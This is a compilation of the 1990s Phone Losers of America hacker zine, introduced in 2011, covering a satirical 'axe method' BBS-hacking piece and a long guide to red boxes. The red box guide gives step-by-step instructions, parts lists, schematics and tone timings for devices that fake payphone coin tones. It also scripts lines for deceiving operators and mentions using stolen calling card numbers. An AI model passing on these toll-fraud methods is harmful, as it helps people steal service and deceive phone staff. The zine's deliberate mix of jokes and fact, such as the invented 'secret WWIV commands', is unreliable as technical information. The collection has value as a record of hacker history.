Phone Losers

of America:

The Complete

Zine Collection

Introduction

by RedBoxChiliPepper

October 11th, 2011

Back in 1994, my friend El Jefe and I started up this little thing called the Phone Losers of America, which immediately turned into an electronic ‘zine that was distributed on bulletin board systems around the world.  The PLA ’zine covered many of the topics that were popular on underground bulletin boards at the time, including computer hacking and phone phreaking.  What set our ’zine aside from other similar text files was the weird humor and complete nonsense that we threw in with the otherwise informative material.  Readers often had a tough time distinguishing between what was imaginary and what was real when reading the PLA ’zine.  This book is a complete compilation of the PLA ’zine.

The mid-90’s were a fun time for us, full of brand-new technology to play around with, making it an ideal time to write a technology ’zine in.  We had cellular phones that could easily be turned into scanners so that we could listen in on other cellular phone conversations.  The cordless phones in peoples’ homes could be monitored by any police scanner.  Voicemail companies began popping up all over the country and a large portion of their customer base preferred to use easily-guessable PINs, making it a piece of cake to break into their accounts.  Even better, the voicemail companies rarely thought to block collect and 3rd party calls to their phone lines, so we could use hacked boxes to charge all of our calls to.  And the world’s largest phone company not only let us trick their pay phones with fake quarter tones, but they also began allowing us to use credit card numbers for our phone calls, with no verification whatsoever.

And then the internet happened for us.  PLA saw the transition of the underground moving from BBSes to this amazing new thing called The Internet, and if you pay attention you’ll notice a huge increase of internet references in the last issue compared to the first.  By the time the ’zine is finished, we’re plugging our new website’s URL instead of our home phone number to call our BBS, and we’re harassing web forums in Boulder instead of BBSes in Illinois.  The internet brought us a whole new playground to prove our immaturity on.

For the most part, the issues contained in this book are exactly as they were seen in the original 47 PLA text files, horrible spelling and grammar included.  All of the names, phone numbers and other personal information is just as it was shown in the 90’s.  There were a few minor edits, mostly done to make these text files work better in book format so you don’t have to read everything in 80-character DOS Edit like everyone did in the 1990’s.

While reading the articles contained in this book, keep in mind that it was all written a really long time ago, and many things have changed, making most of the tutorials pointless.  You shouldn’t try anything that you read here, mostly because it’s probably not going to work anymore.  Remember that PLA is a publication of information, humor and satire.  Nothing in any issue is to ever  be taken seriously.  We are  not responsible for  your stupidity.

Have fun reading!

RedBoxChiliPepper

Issue #001

How To Hack The Hell Out Of A WWIV BBS

Written by RedBoxChiliPepper

Written On February 15, 1990 - Last Revision on August 29, 1994

Happy Valentine’s Day! This file is for all of you wanna-be cool system hackers and crackers but don't have the slightest idea what you're doing. Well here's your chance to be a real hacker. In addition to the axe method, I've included some secret WWIV commands that even Wayne Bell might not be aware of.  Cactus?

Tools You Need:

(1) Ladder

(1) Ax (or hedge trimmers if you want to be creative)

(1) Sysop you don't really like

What To Do:

Log on to your hated WWIV board under a false alias and start chatting up the sysop. Be really nice to him and ask for your own sub and upload a lot of files and offer advice on ways to better his board and just be a really, really nice guy.

After you gain his trust, find out through social engineering when him and all the other members of his family are going to be gone for an hour or so.  Stake out across the street and wait for him to leave.

Now, when they're all gone take your hacking equipment to his house. Use the ladder to climb up to his window and shatter it with your ax. (The window, not the ladder.) Climb into his room. If his room is in the basement, walk  downstairs. Of course, you could have just broken into the basement window but that would have been too easy and only a true dedicated hacker would do it this way.

Find his computer. If someone is logged on hit F10 to go into chat mode and type, "I'M SORRY BUT I'M GOING TO HAVE TO LOG YOU OFF SO I CAN HACK THIS BOARD." Log the loser, I mean user off and proceed to hack. Hold the ax high over your head and bring it down with as much force as possible on his computer to hack a big gash in the middle of it. Hack all of his WWIV backup disks, his monitor and his keyboard. Oh, and the modem. Hack everything that has to do with WWIV to bits.

After you're all done hacking, you could format his C: drive although it's not really neccessary. Now you can brag to all your friends about what a cool hacker you are. Take your ax and go home. Call his board and see if it answers.

Trouble Shooting:

If his board does answer when you call it you've obviously done something seriously wrong here, possibly broken into the wrong house. Go back and finish the job, but be sure to check and make sure you have the correct address.

Please contact me and let me know if this method of hacking works on other types of bbses other than WWIV or if you have any problems with this method. I've personally only attempted the "axe" method on WWIV and it's been successful every time but there's a rumor going around that perhaps this will also work on VBBS, Wildcat and Citadel software, but some modifications may have to be made.

Secret WWIV Commands:

We all know what an amazing programmer and hacker I am. While passing a rainy day last week I was looking through the WWIV program and source code and noticed a number of flaws and back doors throughout the program. Perhaps Wayne Bell is trying to pull a fast one just so he can get free access anywhere or destroy computers of sysops he doesn't like or something, I don't know, but there was definitely some really odd stuff in there. Here's a breakdown of what I found. Keep in mind that I've called WWIV bbses around the country and all of these "secret" commands seem to work in most every version of WWIV.

1. From the main menu if you hit [CTRL] [R] [O] [Y] and stomp on the floor six times REAL HARD you'll get a DOS prompt. From there you can do anything you want to the victim's hard drive.

2. From the main menu type /OCEAN for a super-secret ansi music menu. This does a lot of really amazing things. This is for real.

3. WWIV has a built-in virus command that can be activated by any user, even with a SL of 10. From the main menu type "//I AM A TOTAL LOSER" with your left hand only. If you use your right hand in any way, the virus will backfire in a very bad way. Oh also, if your nose is pierced, DO NOT ATTEMPT THIS. I won't get into why, though.

The virus will turn the outside casing of the sysop's computer bright orange and will kill off any smaller life forms in his house, including dogs, cats, fish and all the house plants. It will also cause the sysop's front doorbell to malfunction for a few weeks and cause the top left drawer in the sysop's

desk to stick a lot.

4. While transferring any file, repeatedly hit [CTRL] & [C] until the transfer aborts. A split second before it aborts, though, type "booga booga" and flip the computer's power switch on and off quickly fifteen times. If you get a message saying something like, "System failure" don't worry. This is only a part of the back door. This trick allows you to read all the users' private mail.

Contact The Phone Losers Of America Nearest You!  And PLEASE Don't Pay For Your Fone Calls!

512-370-4680 PLA Voice Mailbox

512-851-8317 Sonic Youth Systems

512-883-7543 PLA WHQ Texas Line

618-797-2339 PLA WHQ Illinois Line

Issue #002

A Zillion Different Ways To Make Your Very Own Red Box

Written by RedBoxChiliPepper

Written In November Of 1992 - Last Revision on July 12, 1995

TABLE OF CONTENTS

What In The Hell Is A Red Box?

Converting A Tone Dialer

Programming Your Tone Dialer

Trouble-Shooting Your Tone Dialer

Combination Red Box & Tone Dialer

Using A Tape Recorder or Walkman

Hallmark Cards

The Stealth-Combo Box

Voice Memo-Minders

PC Sound Blaster Red Box

A Few Schematics

Finding A Phone That Will Work

Making A Long Distance Domestic Call

Making An International Call

Making A Local Call

Red Box Frequencies

Miscellaneous Notes

Famous Operator Quotes

If you've ever made a call from a pay phone and put in real quarters (heaven forbid) sometimes you may have heard a series of chirping noises in the background, really faint. Those are the tones that a pay phone hears when you deposit money and there's a lot of ways that you can immitate these tones to get free calls. This file will hopefully cover every known way to accomplish this. If I've left anything out, get in touch!

Converting A Tone Dialer Into A Red Box:

I believe all the credit for this section of the phile should go to Noah Clayton who originally wrote this for 2600 magazine.

You will need:

- Radio Shack pocket tone dialer model #43-141 ($24.95 each)

- Three AAA batteries

- Soldering Iron

- Small regular and phillips screwdriver

- Wire clippers

- A 6.5536 MHz crystal

Be sure to get Radio Shack's NEWEST type of tone dialer. The old ones were gold and brown and looked pretty ugly. The new ones are black and the corners are rounded off a little more. They also seem to be more water-resistant and it seems to be easier to fit the new crystal into these models.

You can either order the crystal through Radio Shack or buy it from an electronic's store. Buying it through Radio Shack is a real bitch because you have to wait two weeks for them to order it and most employees don't know what you're talking about when you ask for it. I've had them INSIST that they can't order that crystal for me because they don't carry it. If you live in the St. Louis area as I do, I suggest GateWay Electronics on Page Av in Missouri. They have a knowledgable staff and their crystals are only about three bucks a piece. (Compared to Radio Shack's $4.99 each!)

Place the dialer on the table keypad side down and speaker side up. Remove the battery cover and all batteries. Use the phillips screwdriver to remove all four screws on the back of the dialer. Now slide the flathead screwdriver along the side to separate the two halves of the dialer. Slide the speaker half underneath the keypad so you don't break off the wires.

On the left hand side down near the battery compartment, you'll see a silver cylinder looking component. This is the crystal you want to remove. Pull it up with your fingers and break away all the glue that's holding it down. Use your soldering iron and un-solder it from the circuit board. You can throw this crystal away as it has no real use in life.

Now the hard part. The new crystal you're putting in is twice as big as the old one so it's kinda hard to get it in there. There's a few capacitors that you can bend over to make some more room. You'll also have to bend the leads to your new crystal inward a little. Solder the new crystal in place of the old one and you're all set. Snap the two casing halves back together being careful not to pinch any wires. Put the screws back in and insert your three AAA batteries.

A good idea is to wrap the crystal with scotch tape or electrical tape. This will prevent contact with other components since the crystal is so big. You could also simply put a piece of paper under the crystal.

One additional thing you can do it totally remove the LED light. The only thing this light is good for is running down your batteries really quick. If you use the unit without the light connected, you NEVER have to turn the unit's power off and the batteries will last for a few years before you need to replace them.

Programming Your Red Box:

First you'll have to program your box's memory to make the right tones. You'll be using the three priority buttons on the top of your unit. P1 will be your quarter, P2 your dime and P3 will be the nickel. So here's how to do it:

(1) Switch the unit on. The red light in the corner should come on unless you've disconnected it.

(2) Slide the DIAL/STORE switch to the STORE mode.

(3) Press MEMORY, *, *, *, *, *, MEMORY, P1. That programs your quarter.

(4) Press MEMORY, *, *, MEMORY, P2. That programs your dime.

(5) Press MEMORY, *, MEMORY, P3. And that's the nickel.

(6) Slide the DIAL/STORE switch back into the DIAL mode and you're ready to start phreakin'!

Try pushing the priority buttons now. Each one will emit a different high-pitched chirping noise. This is what the phone hears when you deposit money into a pay phone. If you've ever red boxed with a taperecorder or heard the actual pay phone tones before, you'll notice that these tones are slightly slower than the real ones. Don't worry, the pay phone can't ever tell the difference and you rarely find an operator that can.

If you want to program in $1.00, it's best to use this programming string:

MEMORY, *, *, *, *, *, 0, *, *, *, *, *, 0, *, *, *, *, *, 0, *, *, *, *, *,MEMORY, P1.

This will make $1.00 go in a lot faster than if you'd used the PAUSE feature because "0" is being used as a substitute for PAUSE. (The phone just ignores the 0.) Don't use this string on a live operator, though! Thanks to Even in California for explaining to me how to do this.

Troubleshooting:

One of the most common problems I've had with my red boxes over the years, is that the tones will stop working in the middle of trying to put in your money or they'll break up, giving you a live operator. This could be because you did a bad job soldering the new crystal in. More commonly, the contacts on the power (or the DIAL/STORE switch) have bent the wrong way, causing them not to touch the circuit board anymore.

To fix that, open the unit and bend the contact in the switches out a little.  Not too much or they'll break when you use the switch. If you've removed the light in your unit, there's really no reason to ever turn it off so you could glue the power switch into the "ON" position.

Try Our New Combo Platter!

If you're the type of person who just HAS to have a tone dialer AND a red box (like me) then you can have both without having to carry around two separate units.

1. Buy a small two-position switch like Radio Shack's model #275-407.

2. On one end solder the old crystal, on the other end solder your 6.5536 crystal and in the middle solder two small wires, each about 4" long.

3. Solder the other ends of the two wires to where the old crystal used to be.

Pretty easy, aye? You can put the two wires through one of the vent holes in the back of the unit. On my red box, I took the plastic piece off the back of the battery cover (You know, where you're supposed to write the memory numbers?) and electrical taped the switch down. It actually doesn't stick out hardly at all and looks fairly professional.

Now you can switch between red box and tone dialer. You can store your stolen calling card numbers in the other memory locations or use the touch tones to get free calls on those damn privately owned pay phones.

You know, a disturbing bit of information I heard from Zak recently is that Radio Shack won't be selling these tone dialers anymore. I don't know if this is true or not but I plan on stocking up on tone dialers here in the near future. The reason, supposedly is that the only people that buy these things are phreaks.

The Low-Income Red Box (A Walkman):

If you can't afford a real red box or you don't have any soldering experience, you can use a tape recorder as a red box. There are several ways to record the tones. One way is to go to a pay phone and call your answering machine or voice mail. After the beep on your machine, deposit about three dollars in quarters and hang up. Your three bucks should come back. Go home and on your answering machine will be a tape with the red box tones.

Another way is to find two pay phones that are next to each other. You'll need a portable tape recorder and a suction cup telephone pick-up. (The phone pick-ups can be purchased at Radio Shack for about $3.00.) Pick up the first pay phone (Phone A) and call the other one (Phone B). Put the suction recorder on Phone A and deposit about three dollars in Phone B. Hang up both phones and hopefully your money will come back.

A third way is to record the tones directly from someone else who owns a red box. Pretty easy to figure out.

To play the tones back into the phone when you need them, use either a  portable tape recorder or a walkman with some headphones. Hold the speaker from the recorder (or the headphones) to the mouthpiece of the phone and press "play" when asked for money. Make sure not to have the volume up too loud or the distortion will make a real operator come on the line. You can also use a big bulky tape recorder or a boom box but you'll look a little silly when you try to play your tones into the pay phone.

Hallmark Cards:

Hallmark has these new cards that actually let you record a message for your loved ones so when grandma opens the card she hears your voice saying, "Merry Christmas, Grandma Edna!" Then Grandma Edna will drop the card in horror, thinking that she's gone completely nuts and probably die of a heart attack.

After you've shoplifted a few of these cards and taken one apart, you'll see that that electronics inside are pretty small. You can record your red box tones on this chip and then conceal the whole mess anywhere you want and  you'll have a tiny red box to use.

The Stealth-Combo Box:

The following article was written by DeadKat of CoTNo and is, in my opinion, the best ever variation of the original tone dialer design. You can pick up this article and other CoTNo Zinez on the FTP.FC.NET site. Highly recommended.

Ever since the original Rat Shack Red Box mod was printed in 2600 Magazine, there has been an explosion in red box use.  Red boxing is still one of the primary topics of discussion on alt.2600 years later.  The Radio Shack Tone Dialer mod was one of the first boxes I ever built and has proven to be the most useful of all the boxes I've experimented with.

For years, though, I've played with the original design in order to improve it.  My favorate variation of the original plans is what I call the Stealth-Combo box.  It is based on the original design, but makes use of mercury switches to allow the use of both DTMF's and ACTS tones.  In other words it combines the functions of the red and white boxes.

The reason its called 'stealth' is the fact that when the dialer is held in its normal position, it will produce touchtones as if it were un-modded.  When held 'upside-down' it is capable of producing tones similar to the Bell ACTS tones that emulate a quarter being dropped into a payphone.  This design not only gives you both features, but leaves the box looking and seemingly acting 'normal'.

Following are the complete steps to building the Stealth-Combo box that I demonstrated at the Denver 2600 meetings.  These instructions assume that you have some experience working with electronics.  If you don't, practice a bit before you go cutting up your $30 tone dialer.

Parts List

One (1) Radio Shack 33-Memory Tone Dialer (Cat. No. 43-146)

Two (2) Radio Shack Experimenter's Mercury Bulb Switches (Cat. No. 275-040)

One (1) 6.50 Mhz Sub-Miniature Crystal (Don't use 6.5536, its too big)

Three (3) AAA batteries

Solder

Stranded insulated wire no larger than 22 gauge

Electrical Tape

Recommended Tools

Soldering Gun of 20 watts or less

Small Philips Scewdrivers

Needle Nose Pliers

Wire Strippers

Wire Cutters

Exacto Knife

Epoxy or super glue

Schematics

The following schematics shows the concept of how the switches work, not how its supposed to look.

C1,2 = Crystals

S1,2 = Switches  (The switches are orientated in opposite directions)

Since this diagram doesn't explain shit, on to the steps to build the thing.

Steps

1.  Remove the 6 screws securing the back of the Tone Dialer to the front. Four of the screws are underneath the battery cover.

2.  Gently pry off the back being careful not to break the four wires that connect the speaker to the circuit board.  Lay the back cover to the side of the dialer.  You should now be looking onto the back of the dialer's circuit board.

3.  Locate the original crystal (silver cylinder) on left side of the circuit board.  Carefully cut the crystal off the circuit board as close to board as possible.  Use needle nose pliers to pull the crystal loose as it is held in place with rubber cement.  Be careful not to crush the crystal!

4.  Measure out 2 pieces of wire that are long enough to go from the original crystal solder points, around the edge of the dialer, to a point on the lower right side of the circuit board.  Solder one end of the wire to the lower original crystal solder point and the other end to a lead on the original crystal (keep the leads on the crystals as short as possible). Solder the other wire to the other lead on the crystal but _not_ to the  circuit board.  Leave it hanging for now.  Use tape to insulate the crystal's leads.

5.  Route the wires around the edge of the circuit board on the _underside_ of the circuit board.  You may have to remove the circuit board to route this sucessfully.  The circuit board is held in place by 6 philips screws down the middle of the board.  Glue or tape the crystal into place  on the lower right side of the circuit board on the underneath side (the keypad side).  This will leave us more room on the circuit board for the swithches.

6.  Locate four green capacitors on left edge of the circuit board.  Cut off the second one from the bottom as close to the circuit board as possible. Important!  Make note of which lead on the capacitor went to which solder point.  Unlike crystals, capacitors are directional and if you reverse the current, it will fry.

7.  Glue or tape the capacitor to the empty spot on the upper right side of the circuit board next to the LED.

8.  Solder wires from the leads on the capacitor to the original solder points of the capacitor.  Run the wires along the edge of the circuit board and  insulate the capcitor's leads with tape.  You have now moved the capacitor and made room for the first switch.

9.  Glue or tape the first switch on the left side of the circuit board where the capacitor used to be.  Carefully push the upper two green capacitors to the right to help make room for the first switch.  Orientate the switch's leads down.

10.  Solder the free end of the wire that runs to the original crystal to one of the leads on the mercury switch.  Solder a wire from the other lead of the mercury switch to the upper solder point of the original crystal.  The circuit should now go from the upper solder point through the switch to the original crystal and back to the lower solder point.

11.  Test your work by putting the batteries in the dialer holding the slide switch which turns on the dialer in the on posistion.  The LED _should_ come on.  If it doesn't, check your work.  Make sure that the circuit is complete and the leads aren't grounding on anything.  Hold the dialer in an upright position while holding the switch on and press some buttons.  You should hear touchtones.  If not, make sure you haven't broken any of the wires to the speakers.

12.  Locate the yellow capacitor on the lower right side of the circuit board. Gently pry the capacitor loose with needle nose pliers and flip the capacitor over.  Insulate the leads of the capacitor with tape so that it doesn't come in contact with the resistors which it is now partially laying on.  This will leave a nice open spot on the circuit board for the rest of our mods.

13.  Look at the back cover of the dialer.  You will notice that on the lower left side of the back cover is some space about the size of a crystal.  How convenient!  Remove the small screen on the lower left side that covers a small opening in the cover.

14.  Glue the new crystal into the spot where the screen was with the leads facing out.  The crystal will stick out the hole a little bit, but that won't hurt anything.

15.  Glue or tape the mercury switch in the space to the right of it with the leads oriented up.

16.  Solder wire from the new crystal to one of the leads of the mercury switch.  Solder a wire from the other lead of the new crystal to the lower solder point of the original crystal.  Make the wire to the solder point as short as possible with the case open.  Insulate the leads with tape.

17.  Solder a wire from the remaining lead on the second mercury switch to the upper solder point of the original crystal.

18.  Test your dialer once more.  This time hold the switch in the on position while the dialer is upside down and press the keys.  You should here the touch-tones in a much higher key now.

19.  If everything has tested out, then close up the box.  This is probably the most difficult step of all.  You must have the mercury switches located just right, or it won't close.  Also you must place the wires which run from the back cover away from the the components in order to optimize space. Carefully close the box, but be warned, it takes quite a bit of pressure to get the box closed.  You may want to have a friend help you hold it closed while you screw the screws back in.  You may break a switch or two before you get it right.  Be very careful with any spilled mercury since as Karb0n once told me, "Dude!  That shit will make you go insane!"  You must get the case closed all the way, or the on switch will not make contact.  This step can be very frustrating, but once you get it closed _and_ working, don't ever open it again!

(C)opywrong 1994, DeadKat Inc. All wrongs denied.

Voice Memo Minders:

These voice reminders can record tones and are extremely small. You can either buy one that fits in your pocket or you can buy one that fits on your key chain. In case you're surrounded by telco security, the F.B.I., local police and AT&T's top officials while you're at a pay phone, you can easily press the "MEMO ERASE" button to get rid of the evidence, though the police might shoot you when they see you go for the erase button.

The PC Sound Blaster Red Box:

There's quite a few programs for your IBM computer now that will immitate red box tones as well as the tones for other boxes. Here's how you can use your PC to red box.

1. Disconnect your PC, monitor, sound blaster, speakers, modem (if you're red boxing to a data line), and red boxing program and carry it all over to the nearest 7-Eleven.

2. At most of the 7-Eleven's I've been at, there's an AC outlet somewhere outside of the store. Plug all of your equipment in and turn it on. If there's no outside outlet, then ask the cashier if you can borrow their orange extension cord for a little while, explaining the you're from the Pay Phone Repair Department. To make it more believable, wear a shirt that says, "Pay Phone Repair Department."

3. After you have all of your equipment set up and Blue Beep running, pick up the phone and dial 1+AREA CODE+NUMBER. When it asks you to deposit your money, hit the 25 cents key on your program and hold the speakers up to the pay phone's mouthpiece. Continue this until you've put in enough money.

4. If it's a data transmission, quickly attach your accoustic coupler and run your Q-Modem program and try and connect before it hangs up. Note that you will have to call back this system every 1 minute as the pay phone mutes your sound while the "money" you put in registers.

Hope that helps. You probably won't get past step one because once you set up all that equipment on the sidewalk, one of the pan handlers, winos or drug dealers that always hang out in front of the store will stab you so they can pawn your computer and come back to buy some MD 20/20. But at least you felt like Kevin Mitnick there for awhile, eh?

A Digital Red Box Schematic:

This method of building a red box is for those who are more familiar with electronics. You'll need to hike over to your local Radio Shack and pick up quite a few parts. If you're really good, you can build this quite small. (At DefCon in 1994, there was a red box disguised as a pack of Big Red gum. This section was written by Kwiq, sysop of The Moonlight BBS.

Okay... And now for your parts...

RESISTORS               VALUES            NOTE

----------------------------------------------------

R1                        220 Kohm         The values of R1 and R2 are not important,

R2                        220 Kohm         as long as they add up to 440 Kohm.

R3                        1 Kohm

CAPCITOR                  VALUE

------------------------------------

C1                        0.1 uF

CRYSTAL                    VALUE          NOTE

----------------------------------------------------

X1                        6.5 MHz        6.5536 MHz is also within the tolerance.

CHIPS             NAMES          NOTES

-----------------------------------------------------------------------------

U1                TCM5089        DTMF Encoder

U2                74HC4017       Decade Counter; Regular 4017 is okay.

U3                CMOS 555       Timer IC; Regular 555 will work if a 1Kohm

resistor is inserted between pins 3 and 8.

SPEAKER           IMPEDANCE      NOTE

-----------------------------------------------------------------------------

SPKR1             600 ohm        U1 expects an equivalent load.

SWITCH            TYPE           NOTE

-----------------------------------------------------------------------------

S1                Momentary      You may want to add a power switch.

Okay... This thing works on 4.5 volts so you need 3 AAA batteries... A 9V will also work if... hmm... doing some math here... okay, R1 and R2 should add up to 470 Kohms. You need (obviously) some perf board and a chassis.

Another Digital Red Box Schematic:

Here's another type of red box that you can build that looks alot easier to contruct than the last one. This section was written by JR "Bob" Dobbs.

CIRCUIT OPERATION: Each time the pushbutton is pressed, it triggers half of IC1, configured as a monostable multivibrator to energize the rest of the circuit for a length of time determined by the setting of the coin selector switch.  This in turn starts the other half of IC1, configured as an astable multivibrator, pulsing on and off at regular intervals at a rate determined by the 50k pot between pins 12 and 13.  The output of the astable thus alternately powers of IC2, configured as a square wave oscillator, providing the required 1700hz and 2200hz to the op amp which acts as a buffer to drive the speaker.

CONSTRUCTION: Assemble the circuit as you wish.  Component placement is not critical.  I found the easiest method was to use point-to-point wiring on a "universal" PC grid board with solder ringed holes.  Use sockets if you aren't a whiz with a soldering iron.  Be sure to leave easy access to the potentiometers for alignment.

ALIGNMENT AND TESTING: For alignment, a frequency counter and tiggered sweep oscilloscope are extremely handy (but not absolutely necessary.)

Install a temporary jumper from +9v supply to pin 14 of IC2 and temporarily disconnect the 0.01uF capacitors from pins 5 and 9 of IC2. Power up the circuit.  Measuring the output from pin 5 of IC2 with the frequency counter, adjust the 20k pot between pins 1 and 6 for an output of 1700hz.  Now adjust the 20k pot between pins 8 and 13 for an output of 2200hz from pin 9 of IC2.  Remove the temporary jumper and re-attach the capacitors to pins 5 and 9.  (Note: if no frequency counter is available, the outputs can be adjusted by ear one at a time by zero-beating the output tone with a computer generated tone of known precision.)

Next, temporarily disconnect the wire between pins 5 and 10 of IC1. Set coin selector switch in the "N" (nickel) position.  With the oscilloscope measuring the output from pin 9 of IC1, adjust the 50k pot between pins 12 and 13 of IC1 for output pulses of 60 millisecond duration.  Reconnect the wire between pins 5 and 10.  (Note: If no scope is available, adjust the pulse rate by ear using computer generated tones for comparison.)

The remaining adjustments are made by ear. Leave the selector switch in the "N" position.  Adjust the 50k pot labelled "Dime" for a quick double beep each time the pushbutton is pressed.

Finally, set the selector to "Quarter".  Adjust the 50k pot labelled "Quarter"  until exactly 5 very quick beeps are heard for each button press.  Don't worry if the quarter beeps sound shorter and faster than the nickel and dime ones.  They should be.

CONCLUSION: If all went well to this point, your red box should be completely aligned and functional.  A final test should now be conducted from a payphone using the DATL (dial access test line) coin test.  Dial 09591230 and follow the computer instructions using the red box at the proper prompts.  The computer should correctly identify all coins "simulated" and flag any anomalies.  With a little discretion, your red box should bring you many years of use.  Remember, there's no such thing as spare change!

Semiconductors:

(2)556 dual timer

(1)741 Op Amp

(1)1N914 Switching Diode

Resistors:

(6)10k           (1)4.7k

(2)100k

(4)50k PC Mount Potentiometer

(2)20k Multi-Turn Potentiometer

Capacitors:

(10)0.01uF        (1)1.0uF

(2)10.0uF Electrolytic

Miscellaneous:

(2)14 Pin Dip Socket

(1)8 Pin Dip Socket

(1)3-position Rotary Switch

(1)Momentary Push-Button Switch(normally open)

(1)SPST Toggle Switch

(1)Speaker or Telephone Earpiece Circuit Board

(1) Box

(1) 9v Battery Clip

Mounting Hardware

SCHEMATIC DRAWING

Schematic part variables list.

Resistors:

R1 - 10k   R2 - 10k   R3 -4.7k    R4 - 10k   R5 - 10k   R6 - 50k

R7 - 50k   R8 - 50k   R9 - 50k    R10- 20k   R11- 10k   R12- 10k

R13- 20k   R14-100k   R15-100k

Capacitors:

C1 - 0.01uf   C2 - 1N914 switching Diode   C3 - 1.0uf   C4 - 0.01uf

C5 - 0.01uf   C6 - 10uf   C7 - 0.01uf   C8 - 0.01uf   C9 - 0.01uf

C10 - 0.01uf   C11 - 0.01uf   C12 - 0.01uf   C13 - 0.01uf   C14 - 10uf

Switches:

S1 - SPST toggle

S2 - Momentary push button N.O. labeled "Deposit"

S3 - 3-position rotary switch

Miscellaneous:

g - Ground

@q - Label "quarter"

@d - Label "dime"

@n - Label "nickle"

Finding A Phone That Will Work:

Usually any GTE or Bell phone will work, Bell including Southwestern Bell, U.S.West, Ameritech, Pacific Bell, etc. You'll know it's a Bell or GTE phone because their logo will be on the phone. I've noticed in some areas like Pacific Bell and Ameritech the phones are rigged so that no sound can enter the mouthpiece of the phone until the call is connected, rendering your redbox useless. A way around this is to dial "0" and have the operator dial the call for you.

Privately Owned pay phones are those ugly phones with some kind of generic logo on them that means some old fat local guy owns it and convinces innocent store owners to install his phone instead of a Bell phone, promising him bigger profits. Not a hard promise to keep, considering a local call sometimes costs 75 cents, they sometimes won't let you dial toll free numbers and long distance rates are twice as high (or more) than AT&T which is pretty bad. The best thing to do when you find a Private pay phone is to squirt a lot of ketchup or mustard into the coin slot and find a Bell/GTE phone somewhere.

Making A Long Distance Call:

Okay, here's the fun part- Calling anywhere in the entire world and not paying a cent for it. Pick up the phone and dial the number you want to call in the fashion 1-AREA CODE-NUMBER. For example, if you want to call the White House in Washington D.C., dial 1-202-456-1414.

You'll hear a click, then a computer voice will say, "Please deposit $2.85." (The exact amount differs with the location and time of day.)  Mutter, "Fuck you, AT&T..." to yourself, switch on your red box, hold the speaker of the red box FLUSH with the mouthpiece of the pay phone and press P1 for your quarters.  Pause for a split second in between each quarter because if you go too fast, you'll get a live operator wanting to know what the problem is. You are able to go 20 cents over the amount requested and that will be credited to your call.

After you've put in enough "money", the computerized voice will say in a cheerful, unsuspecting voice, "Thank you for using AT&T!" and your call is put through. Every few minutes the voice will come back and ask for more money.

International Calling:

Your red box can also be used to call your loved ones in other countries, although, it's annoying to do because you HAVE to use a live operator and your conversation will be inturrupted every THREE MINUTES by a voice asking for another two bucks. But if you really need to call overseas...

Dial 011-COUNTRY CODE-CITY CODE-PHONE NUMBER. An operator will ask you how you want to bill your call. Tell her you'll be using the spare change you make as a waiter and MoogooGuawkcaMeemay's Chineese restaurant to pay for your call. For best results, don't do this:

OPERATOR: "Okay, sir, please deposit your money now..."

YOU: "Okay, ma'am, I'm going to use nickels...(beep)...That was one nickel.  Did you get that alright? Okay, here's my second nickel...(beep)...okay,  there's two nickels, that makes 10 cents. How much more to go? $9.10? Okay...(beep)...I'm up to 15 cents now, right? Okay, good...(beep)...alright, there's another one...Hey, here's a penny on the ground! Can I use a penny? No? Okay, here goes lucky nickel number five...(beep)...did you get that? Okay....etc, etc, etc."

The call will be completed like this: The operator will tell you that the call will cost (for example) $7.35. She'll tell you to deposit $3.00, you red box three dollars to her and she connects the call. When the overseas person answers the phone she'll say, "This is the United States AT&T operator, I have an international call for you, could you please hold while billing is completed?" Then the operator will ask you for another $3.00 and then the remaining $1.35. After all that you'll be connected only to be interrupted every three minutes by an operator asking for more money.

If you don't want the person you are calling to know you're calling with coins, you can ask the operator if you can deposit all your money right now and THEN be connected overseas. They don't like to do this (because you could lose all your "money" if they're not home) but they will do it if you ask.

Local Calls:

To red box a local call it takes about a minute or two longer than if you really paid for it, but those quarters add up so it's definately worth it. Pick up the phone and dial zero. Tell the operator that you want to make a local call. If she tells you just to put in a quarter and dial the number, tell her, "Well, ma'am, there's shit all over the keypad here and all the buttons are stickin' together and I CAN'T dial it myself. The only key that works is the zero and THAT'S got this sticky blue shit all over it. Then there's a half-eatin' Twinkee shoved in the coin return and dirt all over the four and seven keys..." Keep going on and on until she asks you what number you want to dial. She'll ask you for a quarter and connect your call.

Make sure after your call connects that you hear the operator click off. Some operators are nosey and will just SIT there listening to your conversation. Once I was explaining to a friend how I placed my call and suddenly the  operator starts lecturing me and telling me she's going to call security on me. (And this was about three minutes into the conversation!)

In some cities I've noticed you can trick pay phones into thinking that a local call is actually a long distance call by dialing 10288 before you dial the local number. So try dialing 10288 or 102881 before you make your local call and maybe you won't have to deal with that pesky operator. The only downside of doing this is that the call will "cost" more and you'll be inturrupted every five minutes to deposit more money.

Red Box Frequencies:

For you tech-heads out there, here are the actual frequencies that the red box produces. Actually, this is what a pay phone produces. When you make a red box out of a Radio Shack tone dialer, the timing is slowed slighty on the quarter tone.

The "tone" is 1700 hz and 2200 hz mixed together.

A nickel is 66 ms on (1 beep).

A dime is 66ms on, 66ms off, 66ms on (2 beeps).

A quarter is 33ms on, 33ms off repeated 5 times.

Miscellaneous Notes:

You can not call any of those 900 phone sex numbers with a red box, so perverts of the world...Sorry, Roy, you're just out of luck. You CAN call 976 information lines, though!

If you're really desperate for money, you can sell phone calls to people. Hang around a phone and tell someone who's about to make a call that you'll give them a free call if they'll give you a quarter. This usually impresses the hell out of any ordinary person. If you live in a big city, you can go to the tourist section of town and sell long distance discount calls to out of state tourists. Consider yourselves warned, though, I've read a LOT of articles on people getting busted for doing this. One article even had a picture of a guy in an airport selling calls to people comming off the plane.

If an operator confronts you and says, "Hey, you're not really putting in coins, that's a recording!" don't get all nervous and run from the pay phone. She'll lie and tell you that security is on the way to the pay phone to put you in jail but she's full of it. Instead, piss her off by explaining to her in detail exactly what you're doing and how you're doing it. If she gets an attitude with you, ask to speak with her supervisor or Service Asisstant. This pisses her off to no end. When connected with the supervisor, tell her exactly what you think of her and the company she works for. The worse thing they can really do is shut off the pay phone.

Operator Quotes:

Sometimes a malfunctioning red box or making a local call cause you to have to deal with a live operator who can get testy when they find out you're screwing the place that they work for. Here are some responses I've gotten from them.

1."Well, son, your TOY doesn't seem to be working today. Why don't you try PAYING for your call instead?" -Hollywood, CA

2."What'd you do, record those tones on the train tracks?" - my friend got this response when trying to use a very poor quality cassette of red box tones in Wood River, IL

3."(sigh) Well, I'll put your call through, but next time I want you to pay real money for your call, okay?" -Galveston, TX

4."That's it! I'm sick of you kids, I'm calling security RIGHT NOW!" -Cincinnati, OH

5."You know you'll go to hell for stealing..." -Portland, OR

